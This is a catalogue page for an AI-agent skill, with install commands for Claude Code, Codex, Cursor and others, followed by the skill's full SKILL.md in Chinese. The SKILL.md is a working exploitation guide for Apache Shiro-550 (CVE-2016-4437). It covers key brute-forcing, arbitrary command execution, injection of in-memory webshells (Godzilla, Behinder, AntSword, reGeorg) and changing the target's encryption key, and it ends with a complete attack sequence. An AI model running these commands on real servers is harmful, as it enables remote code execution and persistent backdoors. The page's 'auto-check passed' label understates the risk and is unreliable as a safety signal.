Deepsec Documentation Guide
vercel-labs/deepsec
Points the agent at deepsec's own docs to answer questions about initializing, configuring, resuming, scanning with and extending the vulnerability scanner.
当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro…
Install Shiro Attack CLI
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install SummerSec/ShiroAttack2 shiro-attack-cli --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/SummerSec/ShiroAttack2.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/shiro-attack-cli .claude/skills/shiro-attack-cli && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "shiro-attack-cli" agent skill from https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cli into .claude/skills/shiro-attack-cli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "shiro-attack-cli", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cliType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install SummerSec/ShiroAttack2 shiro-attack-cli --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SummerSec/ShiroAttack2.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/shiro-attack-cli .agents/skills/shiro-attack-cli && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "shiro-attack-cli" agent skill from https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cli into .agents/skills/shiro-attack-cli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "shiro-attack-cli", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install SummerSec/ShiroAttack2 shiro-attack-cli --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SummerSec/ShiroAttack2.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/shiro-attack-cli .cursor/skills/shiro-attack-cli && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "shiro-attack-cli" agent skill from https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cli into .cursor/skills/shiro-attack-cli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "shiro-attack-cli", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/SummerSec/ShiroAttack2.git --path skills/shiro-attack-cli--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install SummerSec/ShiroAttack2 shiro-attack-cli --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SummerSec/ShiroAttack2.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/shiro-attack-cli .gemini/skills/shiro-attack-cli && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "shiro-attack-cli" agent skill from https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cli into .gemini/skills/shiro-attack-cli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "shiro-attack-cli", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install SummerSec/ShiroAttack2 shiro-attack-cliInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/SummerSec/ShiroAttack2.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/shiro-attack-cli .github/skills/shiro-attack-cli && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "shiro-attack-cli" agent skill from https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cli into .github/skills/shiro-attack-cli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "shiro-attack-cli", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install SummerSec/ShiroAttack2 shiro-attack-cli --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/SummerSec/ShiroAttack2.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/shiro-attack-cli .opencode/skills/shiro-attack-cli && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "shiro-attack-cli" agent skill from https://github.com/SummerSec/ShiroAttack2/tree/master/skills/shiro-attack-cli into .opencode/skills/shiro-attack-cli/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "shiro-attack-cli", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
- Skill name
shiro-attack-cli- GitHub stars
- 2.6k
- Token cost
- ~945 tokens
- SKILL.md length
- 134 words
- Files
- 1
- Skills in repo
- 1
- Repo updated
- First seen
- Licence
- MIT
At a glance
当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro…
- Tasks that involve Vulnerability scanning
- SKILL.md covers 启动方式, 准备工作, 命令 and AES 模式, plus 3 more sections
- Calls java and curl; reaches api.github.com
What it does
Shiro Attack CLI is an agent skill from SummerSec/ShiroAttack2. 当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。
Its SKILL.md is about 950 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security, covering Vulnerability scanning. The repository describes itself as: shiro反序列化漏洞综合利用（仅限授权测试使用）. The licence is MIT.
When your agent uses it
- Tasks that involve Vulnerability scanning
Example prompts
- “rememberMe”
- “shiro attack”
- “CVE-2016-4437”
- “/shiro-attack-cli”
What it can do on your machine
Read from SKILL.md and the folder at commit 30a74f2. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
Shell commands in SKILL.md call:
javacurl
From the folder's file list and the shell code blocks in SKILL.md.
Network
Hosts in commands or code, which the agent is likely to contact:
api.github.com
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Shiro Attack CLI loads about 945 tokens when it runs. Until then it costs about 61 tokens; SKILL.md has 134 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check passed
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
SKILL.md
The full file from SummerSec/ShiroAttack2 at commit 30a74f2, republished under its MIT licence (© SummerSec). 134 words, ~945 tokens.
Download SKILL.mdSave it as
.claude/skills/shiro-attack-cli/SKILL.md (or your agent's skills folder).- name
- shiro-attack-cli
- description
- 当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。
- user-invocable
- false
ShiroAttack2 CLI
Shiro-550 漏洞利用命令行工具，从 fat JAR 直接运行，无需 GUI。
启动方式
JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
java -cp $JAR $CP <命令> [选项]准备工作
下载 JAR
如果本地没有 jar，从 GitHub Releases 下载：
# 查看最新版本
curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \
| grep browser_download_url | grep all.jar | cut -d '"' -f 4
# 或用浏览器打开 https://github.com/SummerSec/ShiroAttack2/releases
# 下载 shiro_attack-*-all.jar 即可准备 Key 字典
crack 命令需要 data/shiro_keys.txt。如果文件不存在，从 GitHub 下载：
mkdir -p data
curl -L -o data/shiro_keys.txt \
https://raw.githubusercontent.com/SummerSec/ShiroAttack2/master/data/shiro_keys.txtdata/ 目录需放在运行 jar 的工作目录下。
命令
detect — 探测 Shiro
java -cp $JAR $CP detect -u <url> [-k <关键词>] [--cbc|--gcm] [--proxy <url>] [--timeout <秒>]成功输出：[++] 存在shiro框架！
crack — 爆破/验证 Key
# 字典爆破（工作目录需有 data/shiro_keys.txt）
java -cp $JAR $CP crack -u <url> [--cbc|--gcm]
# 验证指定 Key
java -cp $JAR $CP crack -u <url> -K <base64_key> [--cbc|--gcm]exec — 执行系统命令
java -cp $JAR $CP exec -u <url> -K <base64_key> -c <命令> [--cbc|--gcm] [-g <gadget>] [-e <回显>] [--json]-K: Shiro AES Key (Base64)。必需。-c: 要执行的系统命令。必需。-g: Gadget 链类名。省略则自动探测（优先无 commons-collections 依赖的变体）。-e: 回显类型：AllEcho（默认）、TomcatEcho、SpringEcho。
memshell — 注入内存马
java -cp $JAR $CP memshell -u <url> -K <base64_key> -t <类型> [--pass <密码>] [--path <路径>] [--cbc|--gcm]-t: 内存马类型。必需。可选：哥斯拉[Filter]、哥斯拉[Servlet]、冰蝎[Filter]、冰蝎[Servlet]、蚁剑[Filter]、蚁剑[Servlet]、NeoreGeorg[Filter]、NeoreGeorg[Servlet]、reGeorg[Filter]、reGeorg[Servlet]--pass: 内存马连接密码，默认passwd--path: 内存马 URL 路径，默认/favicon.ico
changekey — 修改目标 Shiro Key
java -cp $JAR $CP changekey -u <url> -K <当前key> --newkey <新key> [--variant <变体>] [--cbc|--gcm]--newkey: 新的 Shiro AES Key (Base64)。必需。--variant: 注入路径变体，默认filterConfigs -> shiroFilterFactoryBean。可选：filterConfigs -> shiroFilterFactoryBean、getFilterRegistration -> shiroFilterFactoryBean、filterConfigs -> 常见 Shiro 名依次匹配、getFilterRegistration -> 常见 Shiro 名依次匹配、filterConfigs -> 包含 shiro 的名称扫描、高风险: 全候选 rememberMeManager 扫描
gui — 启动图形界面
java -cp $JAR $CP guiAES 模式
| Shiro 版本 | 选项 |
|---|---|
| ≤ 1.2.4 | --cbc |
| ≥ 1.2.5 | --gcm |
JSON 输出
使用 --json 时日志行输出为结构化 JSON，命令执行结果仍以原始文本打印。
{"level":"info","msg":"[++] 存在shiro框架！"}
{"level":"success","msg":"[++] 找到key：kPH+bIxk5D2deZiIxcaaaA=="}
{"level":"info","msg":"[++] 发现构造链:CommonsBeanutilsString_183 回显方式: AllEcho"}常见错误
[-] 响应含 rememberMe=deleteMe: Key 正确但反序列化失败，尝试更换 Gadget/回显组合或检查 AES 模式[-] 未发现shiro框架: 目标无 Shiro 或 Cookie 关键词不匹配，尝试-k修改关键词[-] 测试:xxx -> 响应含 rememberMe=deleteMe: 该组合未命中，自动探测继续[-] 利用链与回显全部测试完毕，未发现可用组合: 所有链均失败，目标可能缺少必需依赖
完整流程示例
JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
T="http://192.168.1.100:8080"
# 1. 探测 Shiro
java -cp $JAR $CP detect -u $T --cbc
# 2. 爆破 Key
java -cp $JAR $CP crack -u $T --cbc
# 3. 执行命令
java -cp $JAR $CP exec -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami" --cbc
# 4. 注入内存马
java -cp $JAR $CP memshell -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -t 哥斯拉[Filter] --pass mypass
# 5. 修改 Shiro Key
java -cp $JAR $CP changekey -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" --newkey "FcoRsBKe9XB3zOHbxTG0Lw=="© SummerSec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Files
Just SKILL.md in skills/shiro-attack-cli of SummerSec/ShiroAttack2.
Open the folder on GitHubat commit 30a74f2
Compare with similar skills
Shiro Attack CLI next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Shiro Attack CLI this skillSummerSec/ShiroAttack2 | 2.6k | — | ~945 | Automated safety check: Pass | MIT | |
| Deepsec Documentation Guidevercel-labs/deepsec | 8.1k | — | ~956 | Automated safety check: Pass | Apache-2.0 | |
| Cve Remediationrundeck/rundeck | 6.3k | — | ~2.9k | Automated safety check: Pass | Apache-2.0 | |
| Native Dependency Updatemono/SkiaSharp | 5.6k | — | ~4.1k | Automated safety check: Pass | MIT | |
| Forensifyalexgreensh/repo-forensics | 187 | — | ~2.5k | Automated safety check: Notes | Custom licence | |
| Write Cve Ruleevdenis/cvehound | 138 | — | ~2.5k | Automated safety check: Pass | GPL-3.0 |
Similar skills
- Official
Cve Remediation
rundeck/rundeck
Verify if a CVE affects the project and remediate it. An agent skill from rundeck/rundeck.
Native Dependency Update
mono/SkiaSharp
Update native dependencies (libpng, libexpat, zlib, libwebp, harfbuzz, freetype, libjpeg-turbo, etc.) in SkiaSharp's Skia fork.
Forensify
alexgreensh/repo-forensics
Cross-agent self-inspection of your AI-agent stack. An agent skill from alexgreensh/repo-forensics.
Write Cve Rule
evdenis/cvehound
Write, debug, or validate a CVEhound detection rule (.cocci or .grep) for a Linux kernel CVE.
Security Audit
TheDecipherist/claude-code-mastery
Checks a codebase for hardcoded secrets, vulnerable dependencies, weak input handling, weak authentication and unsafe transport settings before deployment or merge.
Related
Categories
Questions about Shiro Attack CLI
What does Shiro Attack CLI do?
当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro…. Shiro Attack CLI is an agent skill from SummerSec/ShiroAttack2.
When should I use Shiro Attack CLI?
Shiro Attack CLI fits situations like: tasks that involve Vulnerability scanning.
How do I install Shiro Attack CLI in Claude Code?
Run `npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a claude-code`. Or copy the skill folder (skills/shiro-attack-cli in SummerSec/ShiroAttack2) into .claude/skills/shiro-attack-cli in your project. Claude Code loads it when a task matches its description.
How do I install Shiro Attack CLI in Codex?
Run `npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a codex`. Or copy the skill folder (skills/shiro-attack-cli in SummerSec/ShiroAttack2) into .agents/skills/shiro-attack-cli in your project. Codex loads it when a task matches its description.
Can I use Shiro Attack CLI in Cursor, Gemini CLI or GitHub Copilot?
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/shiro-attack-cli, .gemini/skills/shiro-attack-cli, .github/skills/shiro-attack-cli and .opencode/skills/shiro-attack-cli in your project.
What does Shiro Attack CLI need to run?
Going by SKILL.md and its folder, Shiro Attack CLI needs the command-line tools its instructions call (java and curl).
Does Shiro Attack CLI access the network?
SKILL.md names 1 domain. In commands or code: api.github.com; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.
Is Shiro Attack CLI safe to install?
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
What licence does Shiro Attack CLI use?
Shiro Attack CLI is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
How many tokens does Shiro Attack CLI use?
About 945 tokens (SKILL.md is roughly 3.8k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
What are the alternatives to Shiro Attack CLI?
Skills that share tags, products or a category with Shiro Attack CLI: Deepsec Documentation Guide (vercel-labs/deepsec, 8.1k stars), Cve Remediation (rundeck/rundeck, 6.3k stars), Native Dependency Update (mono/SkiaSharp, 5.6k stars) and Forensify (alexgreensh/repo-forensics, 187 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Who maintains Shiro Attack CLI?
SummerSec (a GitHub user) maintains it in SummerSec/ShiroAttack2, which has 2,633 GitHub stars. The repository was last updated on June 4, 2026.
Source: SummerSec/ShiroAttack2 on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.